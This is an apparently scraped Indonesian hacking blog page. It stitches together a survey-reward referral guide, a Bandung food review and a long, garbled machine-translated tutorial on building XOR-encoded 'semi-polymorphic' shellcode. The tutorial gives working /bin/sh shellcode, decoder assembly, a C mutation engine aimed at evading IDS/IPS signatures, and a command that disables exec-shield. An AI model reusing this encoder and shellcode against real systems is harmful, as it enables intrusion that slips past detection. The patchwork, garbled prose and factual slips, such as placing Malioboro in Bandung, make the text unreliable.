Cara Dapatkan Pulsa Gratis Dari NusaResearch

Sepertinya Artikel Untuk pulsa gratis itu memamng benar benar banyak sekali di cari oleh kalian para pengguna internet  mulai dari cara mendapatkan pulsa gratis kartu as , simpati , xl , mentari , IM3 , Exis ,smart , fren dan sebagainya memang sangat dicari di tahun 2012 . tapi ditahun 2013 para pencari artikel Cara Dapatkan Pulsa Gratis bukannya bekurang malah semangkin melunjak .

ini semua saya ketahui dari banyaknya yang meminta saya untuk update lagi trik mendapatka pulsa gratis untuk tahun 2013 ini.
Seletalh saya cari cari sebenarnya banyak cara untuk emndapatkan pulsa gratis .
Tapi kali ini saya akan memberitahu tips/ trik yang tidak melanggar hukum dan dijamin ampuh

saya mendapatkannya dari web Nusa Research, Yang sangat baik membagikan pulsa bagi anda

saya kali ini akan membahas Cara Dapatkan Pulsa Gratis Dari NusaResearch secara detail dan menyeluruh untuk kemudahan anda

Jadi langkah pertama kita harus mendaftar di website mereka dahulu . Jadi mari ikuti langkah - langkah dibawah ini :

1. Pertama - tama buka form pendaftarnya Disini atau Melalui Link refferal saya Disini (Apabila anda melalui link refferal saya , maka saya akan mendapatkan bonus dan anda tidak ada dirugikan  ataupun mendapatkan pengurangan apapun , saya sangat mengharapkan ini untuk kelangsungan blog ini)

2. Kedua , Isi data data anda dengan benar  terutama data data pribadi dan jangan lupa nama pengguna sama kata sandi jangan sampai lupa . karena nanti sayangkan pulsanya

3 . Lalu setelah anda berhasil mendaftar , maka silahkan cek email yang anda gunakan untuk mendaftarkan diri anda di nusaresearch . buka email dari nusaresearch dan klik link aktivasinya (Apabila email aktivasinya tidak ada dikotak masuk , silahkan cek didalam kota spam )

4.Anda berhasil mendaftar kan diri anda dan anda sudah bisa login dengan nama pengguna dan password yang anda buat tadi .


Lalu Bagaimana Cara Dapatkan Pulsa Gratis Dari NusaResearchnya , Tenang bos ini  tahun 2013 jadi harus tenang . Soalnya akan saya lanjutkan lagi artikel ini

Setelah anda mendaftar diri sekarang coba anda login
lalu anda buka / Klik Halaman Pribadi
lalu dibagian informasi registrasi coba buka ubah profil untuk melengkapi data data pribadi anda (biasa nya ketika pertama kali daftar akan terbuka automatis halaman ini ) anda harus mengisi semua data data pribadi anda disitu
lalu setelah selesai maka point anda akan bertambah 40 point

untuk apa point itu ?

Nah point inilah sumber pulsa gratis anda . Anda dapat menukarkan point itu dengan pulsa ataupun dapat dicairkan menjadi uang
1 point = Rp 50

Bagaimana cara mendapatkan poin  ?

cara cara mendapatkan point itu cukup mudah dan banyak caranya
1 . anda akan mendapatkan bonus 30 point ketika anda pertama kali daftar dan melengkapi data pribadai

2. Survei pribadi  . dalam sehari anda bisa dapat puluhan survei pribadi .  kita bisa mendapatkan point dari sini paling sedikit 10 point tiap survei nya . cara Surveinya cukup mudah  pertama buka halam pribadi lalu buka dibagian survei
nah disana anda akan mendapatkan survei survei yang bisa anda ambil.
klik salah satu survei lalu nanti anda tinggal survei dari produk mereka , survei nya cukup mudah palin anda ditanyai apa makanan kesukaan anda , hobbi , susu kesukaan anda cuma gitu saja gan

3 Survie Cepat
 Ini yang paling enak gan . soalnya anda hanya pilih apa yang ingin anda ingin . Maksud nya ?
Jadi coba anda kehalamutama situs tersebut atau bisa klik banner survei cepat dibagian kanan situs tersebut lalu
anada akn kemeneu utama disitukan ada pertanyaan2 gampang , seperti siapa presiden yang anda sukai ya tinggal anda pilih lah
nanti anda akan mendapatkan point dari sini

Saya Sendiri pernah dalam sehari mendapatkan 1000 point dari sini atau sma dengan Rp 50.000
jadi ayo segera daftar

ehhh kawan ni point bukan hanya bisa di tukar jadi pulsa gratis aja lohh
bisa juga jadi uang kas

Trik mendapatkan banyak poit adalah rajinlah mengikuti survei pribadia tiap hari
coba cek apakah ada survei pribadi yang masuk ke akun anda

Semangkin banayk point semangkin besar juga pulsa gratis yang akan anda dapatkan

BLack Barry dan Samsung Galaxy Gratis , MAU ?

Tampah ada kata basa basi yuk kita dapatkan Galaxy dab BB terbaru ;angsung ke halaman kontes nya
sapa tau anda yang beruntung minggu ini

Karena lagi gak sempat nulis artikle nya langsung aja ya ke link kontes nya
 klik disini
 Hadianya beruapa BB , Samsung galaxy , Printer

ini hadiah di dapatkan dengan cara Undian
emang ngarep keberuntungan sihh tapi ya ikuti ajalah manatau menang iyakan ?
jadi yuk daftar disini

Yang Perlu Dikunjungi Ketika Di bandung

MALIOBOROOOOO

Mungkin itu kan yang anda pikirkan ! Ya itu memang tidak salah , Karena malioboro memang adalah tempat wisata mata (Berbelanja ) Yang Wajib untuk di kunjungi. Gak afdol rasanya kok kebandung tapi gak kesini

Etss tapi kita tidak lagi bicarakan malioboro ni ya , Karena kita akan bicara tentang !!!!!!!!!
Hiburan Perut alias makanan .
idihh seketika para hy hack mania langsung serius bacanya wkwkwkw
ini memang adalah sebua artikel review saya tentang yang namanya makanan ketika admin jalan jalan ke kota Bandung . Maklumlah selain admin suka banget dengan dunia blogger dan mendaki , admin juga suka banget tuh yang namanya wisata kuliner alias makan makan (asalkan lagi berisi ni sih dompet B) .


Ceritanya gini admin kalain yang gantengnya gak seberapa ini tapi manis dan imut . Lagi jalan jalan di Kota Kembang Bandung dengan ala backpaking (maaf kalau bahasa inggrisnya ngelantur) dan setelah kami sudah lewat dari jln malioboro ni cacing di perut udah demo pulak , dan terpaksa kami mencari rumah makan agar si cacing tak demo lagi .

Namun di bandung sendiri kami tidak tahu jalan jalan disana kecuali malioboro doang dan akhirnya kami coba telusuri jalan demi jalan yang ada , ehh tapi masih belum ada ruma makan yang gereget gitu , yang jumpa hanya rumah mkaan cepat saji , restoran padang dan lln pokok nya dah biasa kalilah  karena admin sendiri orang medan , admin ingin cari makanan yang khas sini gitu lohh seperti kayak makan sunda  , ehh tiba tiba pas nyampek di Jl. Terusan Pasteur mata saya sedikit terpanah dengan sebuah bangun di nomor 63 .
karena ada sebuah rumah makan Sunda yang cukup nikmat di pandang

AKhirnya admin dan teman teman admin mencoba masuk dan ternyata nama restoran ini adalah Raja Sunda . dengan selogan rajanya makanan sunda admin mencba untuk menguji restoran ini apakah kenikmatan makanan nya sehebat selogannya

admin pun langsung memanggil pramusajinya
Admin :Bang Bang ( dengan logat kental orang medan nya )
Prmu Sji : Iya mas mau pesan apa ??
Admin : Hemmmmm , Enak nya Pesan apa kita ( Bicara sama Admin )
Pramu sji : Gimana kalau Bebek Crispy ? (pramusaji langsung nyerobot pembicaraan kami )
Admin : Enak Gak TU ?
Pramu sji : Bisa di adu dengan menu masakan sunda restoran lain mas kok gak percaya ni makanan emang paling lezat

Akhirnya Admin pun tergoda untuk memesan Bebek Crispy . 15 menit kemudian si Bebek Crispy pun Hadir di Meja kami .

Ketika kami makan , Mau tau apa yang kami rasakan ?
Rasa Ganja
Alamakkkk aku baru tau kalau masakan sunda itu kayak Ganja , Eitsss masuk admin kayak ganja itu bukan ganja beneran karena alhamdulilah samapai sekarang admin sendiri gak tau rasa ganja itu kayak mana tapi yang jelas ketika dimakan bebeknya apalagi pake sambalnya serasa Kaki ini gak nginjak tanah seperti kuntilanak sakin terbawak terbangnya akan kenikmatan masakan sunda  ini.

mukin admin gak terlalu ingat lagi lokasi rumah makan ini . tapi kalau mau tau info rumah makan raja sunda ini silahkan cek di web set nya di tripel dabel yu dot rajasunda dot com
hehehehh agak alai atau kampungan ya , yaudah ini alamat yang jelas nya http://www.rajasunda.com

jadi ayo cekidot tu bandung

HY Hack Kembali ke Tujuan Awal

Salam blogger .
Maaf ya kalau hy hack sering terjadi ubah mengubah konsep blognya .
kita tahu hy hack dari namanya adalah sebuah blog yang membahas tentang hack bukan .
ya itu adalah benar , Tapi di tahuan 2012 kemarin hy hack berubah menjadi blog magazine sepenuhnya

Tapi ini lah HY Hack . Blog yang ngelantur dan penuh dengan kontroversi.

Sejarah HY HACK

HY Hack didirikan pada tahun 2011 . Ya 3 tahun lebih hy hack berjalan dan berusaha mencari dan menerobos ke populeran blog blog lain milik master master blog .
konsep awalnya hy hack adalah Blog information Hack namun saat itu hy hack terlalu underground dalam membahas trik tips hack yang membuat para pengunjung hy hack selalu mempunyai niat jahat setelah membaca sedikit artikel saya .
sayapun langsung sadar kalau ini adalah hal yang salah saya pun merubah konsep lagi

Dalam konsep ke 2 ini hy hack beralih pungsi menjadi blog magazine / Warta berita . Disini memang terjadi lonjakan pengunjung blog hy hack .
tapi menurut saya belakangan ini ,blog tipe magazine itu udah ngelantur banget dari nama blog ini

dan akhirnya saya di tanggal 21/1/2013 ini menetapkan untuk kembali ke blog tipe info hack , namun saya akan membahasnya seseuai denganaturan di Certificate Ethical Hacker yang saya pelajari di kuliah jadi tidak ada pembelajaran yang ber tipe underground lagi

jadi Good by magazine and welcome back HAker

Learn To Make Shellcode (III): Semi-Polymorphic Shellcode

Before I apologize first because absent long enough to write on this blog. I last wrote about the making of shellcode, for local as well as remote exploit. This time I'm supposed to be writing about how to wear the shellcode exploit, but there is one thing that is interesting to be written before entering into a discussion of the exploit, i.e. semi-polymorphic shellcode. Later on in the next article I'll discuss true-polymorphic shellcode.

What is a Polymorphic Shellcode

In many forms of polymorphic language meaning. Polymorphic shellcode is shellcode which has many forms. From one parent the same shellcode can be born a lot different in the shellcode level bits, meaning when viewed bit per bit all shellcode are different, even though the total all come from a single parent.

Polymorphic shellcode is needed to get away from the detection of Intrusion Detection/Prevention System. IDS/IPS checked out data packets that pass through. When the package contains data that is considered dangerous, the security guard will emit an alarm or prevent the package through.

Note the following illustrationsi.

Bush called terrorists (not his real name), had previously managed to blow up targets and killed thousands of infants in Iraq, but now his picture is already known to all people so that he could no longer do the next attack.

So that the next attacks in full swing, Bush must change his face with plastic surgery, grow a mustache, hair etc. With a different face total, then the police will not recognize Bush, and Bush could attack smoothly.

In every his attack Bush must change his face so different from her face on the attacks before.

.

That's an illustration of polymorphic shellcode, as a shellcode has never been worn and signaturenya (characteristics) are already on the blacklist by IDS/IPS, then the shellcode has already reduced its effectiveness. When the same shellcode is used again, then the IDS/IPS will easily detect and prevent the attack.

To deceive the IDS/IPS then shellcode exploit used in before having to undergo mutations that alter his physical form without changing its functionality. Remember the shellcode is a collection of bytes that represents the opcode instructions assembly/machine language. Polymorphic shellcode means that assembly instructions can be turned into many kinds but does not alter the main function and the end result.

Lho kok can? It's easy, for example, imagine that the main algorithm is the formula A + B * 2. We could have mutations that formula right into many forms:

• B*2+A
• B+B+A
• B+1+B+A-1
• B*2+B*3+A-B*2-B

All the above mutations produce exactly the same end result, although formulated much different. IDS/IPS only parses the blacklist "A + B * 2″ will not assume the package contains" B + B + A "or" B + B + A + 1 – 1″ as a package is dangerous because there is no blacklistnya in the dictionary, but everything is the same only the shape is different.

The picture above is a software to change the shape of the face by changing the shape of the eyes, eyebrows, hair, moustache etc. All shellcode can generate mutations in new shellcode that is different but still with the same functionality using the script "Mutation Engine". This Mutation engine imaginable is similar to the above image, a piece of software that have facilities for changing the shape of the eyes, eyebrows, mustache, nose to create new faces are different. But of course mutation mutation engine do automatically, without having to wait for input/click from the user.

Spring Of Polymorphic Shellcode

I'll start by creating a shellcode is semi polymorphic. Spring here means shellcode that produced not a total different results between mutation of a shellcode. There are still consecutive bytes, a byte sequence which can be used as hallmark (signature) of the shellcode.

All polymorphic shellcode is created by using the technique of encoding/decoding procedure is placed at the beginning of the shellcode the decoder, the difference is only in spring, the relative decoder polymorphic static procedure, did not participate, including mutations. While in true polymorphic shellcode, routine procedures/decodernya termutasi also making it more difficult to detect IDS/IPS.

The algorithm encode/decode used is not complicated, just use a logic operation XOR. The nature of the logical XOR is reversible, if some number on XOR twice with the same key, then it will produce its initial value.

Example:

11001 (25) XOR 11100 (28) = 00101 (5) XOR 11100 (28) = 11001 (25)

Why the necessary decoder? Remember the shellcode is a collection of machine language opcode byte, so if the encoded shellcode then byte opcode opcode to be different or be an unknown opcode. processors The Decoder is responsible to return the bytes shellcode that ter-encode becomes normal again so that it can be called and executed, the processor.

For example, when the \xCD\x80 opcode byte contains shellcode which is known as a processor interrupt No. 80 hexa. In the process of mutation, opcode CD80 encoded with XOR 5 into \xC8\x85 which is not known to the processor (not a valid instruction). In order for the shellcode can be executed then the decoder should return back to normal \xC8\x85 be \xCD\x80.

 

The picture above shows the process of mutation of the original shellcode into the shellcode has been termutasi. Mutation engine over using a single decoder that generates a lot of shellcode according to the key that is used. This Key is used to encode and decode logic operation using XOR. Each mutation results shellcode engine consists of a decoder at the beginning of the shellcode and ter-encode.

Avoid The Forbidden Characters

Generally the shellcode in-injection through the program input as a string data type. Internally the string is an array of character that terminated with a NULL character (' \ 0 °). There can be no NULL bytes in the shellcode because the shellcode can make fail on injection in full. A NULL Byte is one of the so-called ' bad ' characters, i.e. characters are forbidden in the shellcode.

Bad characters can be different, depending on the application that you want to exploit. When in such applications, the existence of new line character (\n) and enter (\r) to make shellcode failed terinjeksi it perfectly, then the character it not to exist in the shellcode.

But sometimes it is difficult to avoid the existence of forbidden characters in the shellcode. This shellcode encoding techniques can also be used to remove the illegal character. So this technique is not only useful to avoid getting caught IDS/IPS but also helps avoid the forbidden characters.

JMP/CALL GetPC

The first instruction executed is a decoder. This Decoder is responsible to perform operator XOR decodes by using the same key at the time of encoding. The problem is this shellcode could be loaded in any memory address, so can not on location in early harcode routine decoder. The Decoder must know at the time it was executed (run-time), where the location of the memory storage of shellcode ter-encode.

Technique of locating her memory when the executable is called with GETPC (get the program counter/EIP). Commonly used trick is to use the JMP instruction and CALL. The Decoder will JMP to a location just above (before) the shellcode ter-encode. At that location there is a CALL instruction to the location after the JUMP instruction. CALL will help push into the stack return address, i.e. memory address of the instruction after the CALL. Because of the location of shellcode ter-encode right after the CALL instruction, then in the top of the stack shall contain a memory address (EIP/PC) ter shellcode encoding.

Unlike a CALL instruction is generally followed by RET, in this trick we don't need instruction RET because we're not really calling the subroutine. The CALL instruction is used to take the EIP/PC from the instruction after the CALL.

 

The picture above shows a Groove JMP/CALL to get memory location shellcode ter-encode. First of all decoders to the JMP will point1, that there is no CALL instruction to point2. Just below CALL point2 is memory location where the shellcode ter-encodes are located. So when the CALL was executed will be at the encoded_shellcode location-push into a stack as a return address of the CALL instruction. On point2, there are instructions POP ESI mengambl meaning is the return address instruction CALL on point1, i.e. memory location shellcode ter-encode.

Assembly Decoder

We just go create assembly code that performs the logical XOR operation with the decoding. We utilize GETPC JMP/CALL flow like in the picture above. 

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19

global _start   _start: jmp short point1   point2: pop esi ; ESI = as the index location of the byte to decode xor ecx,ecx ; ECX = 0 mov cl,0x0 ; ECX = shellcode size   decode_sc: xor byte[esi],0x0 ; XOR 1 byte of memory at location appointed by ESI inc esi ; ESI forward 1 byte, decode the next byte loop decode_sc ; The Loop as much as ECX (size of the shellcode) jmp short encoded_sc ; decode selesai, jump and execute shellcode!   point1: call point2 ; call, push address of encoded_sc ke stack encoded_sc: ; encoded shellcode di sini

The process of decoding the above done by performing XOR in loop starting from the location encoded_sc (stored in the ESI) as much as the size of the encoded shellcode (stored in ECX). Formerly the location of encoded_sc is known to do the trick JMP/CALL GETPC and encoded_sc locations is stored in the register of ESI. After the loop is finished, the shellcode has been back to normal and ready to be executed. So after the loop, there are instructions JUMP to the location of encoded_sc.

We will now take opcodenya with how to compile, link and do the objdump.

$ nasm -f elf decoderjmpcall.asm
$ ld -o decoderjmpcall decoderjmpcall.o
$ objdump -d ./decoderjmpcall
 
./decoderjmpcall:     file format elf32-i386
 
Disassembly of section .text:
 
08048060 <_start>:
 8048060:       eb 0d                   jmp    804806f <point1>
 
08048062 <point2>:
 8048062:       5e                      pop    %esi
 8048063:       31 c9                   xor    %ecx,%ecx
 8048065:       b1 00                   mov    $0x0,%cl
 
08048067 <decode_sc>:
 8048067:       80 36 00                xorb   $0x0,(%esi)
 804806a:       46                      inc    %esi
 804806b:       e2 fa                   loop   8048067 <decode_sc>
 804806d:       eb 05                   jmp    8048074 <encoded_sc>
 
0804806f <point1>:
 804806f:       e8 ee ff ff ff          call   8048062 <point2>

A little description of the opcode on top to add to the knowledge of the assembly. At the beginning there is a JMP instruction "point1". Opcode for JMP is 0xEB. Note the point1 is 1 bytes after this instruction, therefore opcodenya is "0x0D 0xEB", meaning a Jump as far as hex 0x0D (13) byte after this instruction.

As an illustration of the objdump output note above, instruction "JMP point1" exists in the memory location 0 × 8048060, and we know the instruction "JMP point1" space-consuming 2 byte (0xEB and 0x0D), then the purpose of inoperative ripcord intended is 0 × 8048060 + 2 + 1 = 0x804806f. Again remember, dihitungnya from the location after the JMP instruction, that is 0 × 8048062. Then calculated 0x0D (13 bytes) from location 0 × 8048062 be 0x804806f.

While in point1, point2 CALL instructions "exist" which takes up the space of 5 bytes (0xFF 0xFF 0xFF 0xEE 0xE8). opcode 0xE8 is to CALL, while the 0xFF 0xFF 0xFF 0xEE in little-endian notation is 0xFFFFFFEE which is a representation of the number of signed integers.

Why would kok away-18? Note again the output of objdump on the top. Remember, similar to the distance of the jump JMP site after the CALL instruction. The location of memory after the CALL instruction "point2" is 0x804806f + 5 = 0 × 8048074. If we calculate the 18 bytes before the 0 × 8048074, then we get the location 0 × 8048062, which is none other than the location of point2.

Now we extract the opcodenya and write it in the notation shellcode DataReader.

$ objdump -d ./decoderjmpcall|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut
-f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s

|sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x0d\x5e\x31\xc9\xb1\x00\x80\x36\x00\x46\xe2\xfa\xeb\x05\xe8\xee\xff\xff
\xff"

In the picture above look opcode of the decoder will we wear. Note There are two blue byte, i.e. the size of the shellcode in the 6th index and key XOR on the index. Later only two bytes that are changed in each mutation shellcode, byte addition is always the same, therefore we do not say true-but it is only semi-polymorphic polymorphic.

Encoder: Mutation Engine

Now once we have opcode decoder, we can start making mutation engine, which is the script that does the encoding and generate encoded shellcode. We make in the C language, and as a shellcode, we use the parent we wear in a local exploit in the article "learning to make shellcode part 1".

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70

#include <sys/time.h> #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h>   int getnumber(int quo) { int seed; struct timeval tm; gettimeofday( &tm, NULL ); seed = tm.tv_sec + tm.tv_usec; srandom( seed ); return (random() % quo); }   void print_code(char *data) { int i,l=0; for (i = 0; i < strlen(data); ++i) { if (l==0) { printf("\""); } if (l >= 15) { printf("\"\n\""); l = 0; } printf("\\x%02x", ((unsigned char *)data)[i]); ++l; } printf("\";\n\n"); }   int main() { char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0" "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89" "\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"; int count; int number = getnumber(200); int badchar = 0; int ldecoder; int lshellcode = strlen(shellcode); char *result;   char decoder[] = "\xeb\x0d\x5e\x31\xc9\xb1\x00\x80\x36\x00\x46\xe2\xfa" "\xeb\x05\xe8\xee\xff\xff\xff"; decoder[6] += lshellcode; decoder[9] += number; ldecoder = strlen(decoder);   do { if(badchar == 1) { number = getnumber(10); decoder[16] += number; badchar = 0; } for(count=0; count < lshellcode; count++) { shellcode[count] = shellcode[count] ^ number; if(shellcode[count] == '\0') { badchar = 1; } } } while(badchar == 1); result = malloc(lshellcode + ldecoder); strcpy(result,decoder); strcat(result,shellcode);   printf("Key: %02x\n",number); print_code(result); }

$ ./encoder
Key: 29
"\xeb\x0d\x5e\x31\xc9\xb1\x23\x80\x36\x29\x46\xe2\xfa\xeb\x05"
"\xe8\xee\xff\xff\xff\x18\xe9\x99\x6f\x18\xf2\x18\xe0\xe4\xa9"
"\x18\xe9\x79\x41\x06\x06\x5a\x41\x41\x06\x4b\x40\x47\xa0\xca"
"\x79\x7a\xa0\xc8\x18\xfb\x99\x22\xe4\xa9";
$ ./encoder
Key: 1a
"\xeb\x0d\x5e\x31\xc9\xb1\x23\x80\x36\x1a\x46\xe2\xfa\xeb\x05"
"\xe8\xee\xff\xff\xff\x2b\xda\xaa\x5c\x2b\xc1\x2b\xd3\xd7\x9a"
"\x2b\xda\x4a\x72\x35\x35\x69\x72\x72\x35\x78\x73\x74\x93\xf9"
"\x4a\x49\x93\xfb\x2b\xc8\xaa\x11\xd7\x9a";
$ ./encoder
Key: 45
"\xeb\x0d\x5e\x31\xc9\xb1\x23\x80\x36\x45\x46\xe2\xfa\xeb\x05"
"\xe8\xee\xff\xff\xff\x74\x85\xf5\x03\x74\x9e\x74\x8c\x88\xc5"
"\x74\x85\x15\x2d\x6a\x6a\x36\x2d\x2d\x6a\x27\x2c\x2b\xcc\xa6"
"\x15\x16\xcc\xa4\x74\x97\xf5\x4e\x88\xc5";

In the picture above, the mutation engine produces 3 mutant with 3 keys i.e. 29h, 1Ah, 45h. At the decoder, there is almost no difference, which differ only in the byte storing the key XOR and the shellcode size.

XOR key stored in the decoder on the opcode "\x80\x36\x00", which means "assembly instructions" xor byte [esi], 0 × 0″. If \x00 on opcode "\x80\x36\x00" was changed to x29, then it means we also modify instruction assemblynya be "xor byte [esi], 0 × 29.3″. Similarly, if we replace with \x1A and \x45.

Opcode "\xb1\x23" on the decoder is the shellcode size, which in the assembly means "mov cl, 0 × 23". We happened to be in the program wearing shellcode measuring 35 byte (23 h). When shellcode that used its size is 50 bytes, then the mutation engine will change into a "\xb1\x32" which in assembly means "mov cl, 0 × 32.3″.

As for the encoded shellcode that is colored purple, from three times running, the mutation engine produces 3 encoded shellcode that much different, this is what is known as a polymorphic. But of course because of the static decodernya, the result is not true-polymorphic, but enough we call spring-polymorphic.

 

Now we try to execute shellcode mutation results with key 1Ah above. I am going to use a small program in C language below.

1 2 3 4 5 6 7 8

char shellcode[] = "\xeb\x0d\x5e\x31\xc9\xb1\x23\x80\x36\x1a\x46\xe2\xfa\xeb\x05" "\xe8\xee\xff\xff\xff\x2b\xda\xaa\x5c\x2b\xc1\x2b\xd3\xd7\x9a" "\x2b\xda\x4a\x72\x35\x35\x69\x72\x72\x35\x78\x73\x74\x93\xf9" "\x4a\x49\x93\xfb\x2b\xc8\xaa\x11\xd7\x9a"; int main(void) { asm("jmp shellcode"); }

We'll debug with GDB to see in memory of what happened before and after the decoder is executed.

Don't forget to turn off the first exec-shield by: echo "0" >/proc/sys/kernel/exec-shield. When you use the kernel-PAE then the shellcode can not be executed because the kernel-PAE NX bit feature there.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

$ gcc -o execsc execsc.c
$ gdb ./execsc
(gdb) set disassembly-flavor intel
(gdb) x/25i &shellcode
0x8049540 <shellcode>:  jmp    0x804954f <shellcode+15>
0x8049542 <shellcode+2>:        pop    esi
0x8049543 <shellcode+3>:        xor    ecx,ecx
0x8049545 <shellcode+5>:        mov    cl,0x23
0x8049547 <shellcode+7>:        xor    BYTE PTR [esi],0x1a
0x804954a <shellcode+10>:       inc    esi
0x804954b <shellcode+11>:       loop   0x8049547 <shellcode+7>
0x804954d <shellcode+13>:       jmp    0x8049554 <shellcode+20>
0x804954f <shellcode+15>:       call   0x8049542 <shellcode+2>
0x8049554 <shellcode+20>:       sub    ebx,edx
0x8049556 <shellcode+22>:       stos   BYTE PTR es:[edi],al
0x8049557 <shellcode+23>:       pop    esp
0x8049558 <shellcode+24>:       sub    eax,ecx
0x804955a <shellcode+26>:       sub    edx,ebx
0x804955c <shellcode+28>:       xlat   BYTE PTR ds:[ebx]
0x804955d <shellcode+29>:       call   0x3535:0x724ada2b
0x8049564 <shellcode+36>:       imul   esi,DWORD PTR [edx+114],0x74737835
0x804956b <shellcode+43>:       xchg   ebx,eax
0x804956c <shellcode+44>:       stc
0x804956d <shellcode+45>:       dec    edx
0x804956e <shellcode+46>:       dec    ecx
0x804956f <shellcode+47>:       xchg   ebx,eax
0x8049570 <shellcode+48>:       sti
0x8049571 <shellcode+49>:       sub    ecx,eax
0x8049573 <shellcode+51>:       stos   BYTE PTR es:[edi],al
(gdb) b *0x804954d
Breakpoint 4 at 0x804954d

The above is a result of disassembly of the shellcode the decoder before running. Instructions instruction instead of the original shellcode. Now we try to run and view assembly instructions decodingnya results.

 

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33

(gdb) run Starting program: /home/admin/overflow/execsc (no debugging symbols found) (no debugging symbols found) (no debugging symbols found)   Breakpoint 4, 0x0804954d in shellcode () (gdb) x/25i &shellcode 0x8049540 <shellcode>: jmp 0x804954f <shellcode+15> 0x8049542 <shellcode+2>: pop esi 0x8049543 <shellcode+3>: xor ecx,ecx 0x8049545 <shellcode+5>: mov cl,0x23 0x8049547 <shellcode+7>: xor BYTE PTR [esi],0x1a 0x804954a <shellcode+10>: inc esi 0x804954b <shellcode+11>: loop 0x8049547 <shellcode+7> 0x804954d <shellcode+13>: jmp 0x8049554 <shellcode+20> 0x804954f <shellcode+15>: call 0x8049542 <shellcode+2> 0x8049554 <shellcode+20>: xor eax,eax 0x8049556 <shellcode+22>: mov al,0x46 0x8049558 <shellcode+24>: xor ebx,ebx 0x804955a <shellcode+26>: xor ecx,ecx 0x804955c <shellcode+28>: int 0x80 0x804955e <shellcode+30>: xor eax,eax 0x8049560 <shellcode+32>: push eax 0x8049561 <shellcode+33>: push 0x68732f2f 0x8049566 <shellcode+38>: push 0x6e69622f 0x804956b <shellcode+43>: mov ebx,esp 0x804956d <shellcode+45>: push eax 0x804956e <shellcode+46>: push ebx 0x804956f <shellcode+47>: mov ecx,esp 0x8049571 <shellcode+49>: xor edx,edx 0x8049573 <shellcode+51>: mov al,0xb 0x8049575 <shellcode+53>: int 0x80

Because we want to see the results of decodingnya, then we place a breakpoint on the shellcode + 13 (0x804954d). At that point there are instructions "jmp 0 × 8049554", i.e. the instruction to execute shellcode has been in decode. After a breakpoint is installed, we can run the program with the run. When the breakpoint is reached, we can see the results at decodingnya location of shellcode + 20 to + 53 shellcode.

For example note on shellcode + 20, instructions prior to decode is "sub edx, ebx", an instruction that is not instruction originial shellcode. But after decoding is done at that location to be "xor eax, eax" instruction which is the original shellcode. Another example, at the location of shellcode + 28 prior to decode the instructions are "xlat BYTE PTR ds: [ebx]", however after decode back to normal to be "int 0 × 80.3″.

The table below shows some differences between assembly instructions from the original assembly instructions with the shellcode has been ter-encode. The column "Before Decoding the shellcode" assembly is already encoded, while the columns "After Decoding the shellcode assembly" shows the original after the decoder is finished work.

shellcode yang original setelah decoder selesai bekerja.

Address	Before Decoding	After Decoding
shellcode+20	sub ebx,edx	xor eax,eax
shellcode+22	stos BYTE PTR es:[edi],al	mov al,0×46
shellcode+28	xlat BYTE PTR ds:[ebx]	int 0×80
shellcode+46	dec ecx	push ebx

Okay, until here used to be semi-discussion of polymorphic shellcode, see you again on the next article about true-polymorphic shellcode.








Read the continuation :

1. Learn To Make Shellcode (I): Local Exploit Shellcode
2. Learn To Make Shellcode (II): Remote Exploit Shellcode
3. Learn To Make Shellcode (III): Semi-Polymorphic Shellcode

THANKS TO : ILMU HACKING

Learn To Make Shellcode (II): Remote Exploit Shellcode

         In a previous article I explained the basics of making shellcode. I've explained the making of shellcode to exploit local. Well this time I will continue again to make shellcode to exploit remotely.

Remote Exploit

Remote exploit is a technique that exploits performed remotely via the network. This type of Exploit usually attacking server/daemon is currently "LISTEN" on the specified port.

The main difference between local and remote exploit code is in the beginning. On a local exploit, the attacker from the beginning already have shell access through ssh, telnet or remote desktop connection, but with limited access rights (as a normal user). While on the remote exploit, the attacker's initial conditions do not have access to the shell. Shell access I mean the capability to execute an executable file.

So on a local exploit, the goal is a privilege escalation over the limited access rights to be infinite (root/administrator). While on the remote exploit, as it initially did not have access to a remote shell exploit, then trying to get shell access, either as a regular user or as super user (root/administrator).

Remote Shellcode

In this article I will explain about the making of 2 types of remote shellcode, namely:

• Port Binding Shellcode

This type of Shellcode aims to provide a shell which can be accessed remotely through a particular port. Attacker can access the shell by opening a connection to the target machine's IP on port pre-set.

 

Port binding shellcode is not useful when the target computer is protected by a firewall that blocks inbound connections to port outside the port.

Firewall a firewall is not feared on the target computer because the attacker can also add mendisable routine for the firewall on the target computer. But the firewall is outside the target computer cannot be turned off from the target computer.

• Reverse Connecting Shellcode

Reverse connecting shellcode is similar to port bindings shellcode yet connection direction reversed. In this shellcode is precisely the target computer that opens a connection to the attacker. Why such a shellcode is needed? In many cases people are so paranoid of connections that go into his computer, but not too paranoid for connection out.

Ports are usually permitted to be accessed is the port for http, i.e. 80 and 443 (SSL) because this is the most widely used service so it's less likely there are admin that block connections to external web servers

Socket Programming

What is the socket? A Socket is one method of IPC (inter process communication), i.e. communication between processes (running programs) on the same computer or on another computer (over the network). In this case we talk about the internet socket, the socket used to communicate over the network with computers that are the same (localhost) or with other computers.

There are two types of internet socket, datagram socket and a stream socket. Datagram socket used to communicate using UDP protocol. The UDP protocol is not suitable for this case because this Protocol is not reliable. Stream socket the socket is using the TCP protocol, this Protocol will be used in shellcode.

Before you can use socket functions, programs need to include the header file here:

#include <sys/socket.h> // library untuk socket #include <netinet/in.h> // definisi struct untuk socket

Network Byte Order vs Host Byte Order

In a computer, there are rules as to how the data is stored internally. There are two camps used storage rules: little endian and big endian. There are a few computer architectures use little endian such as Intel, and some are using big endian such as Motorola and PowerPC.

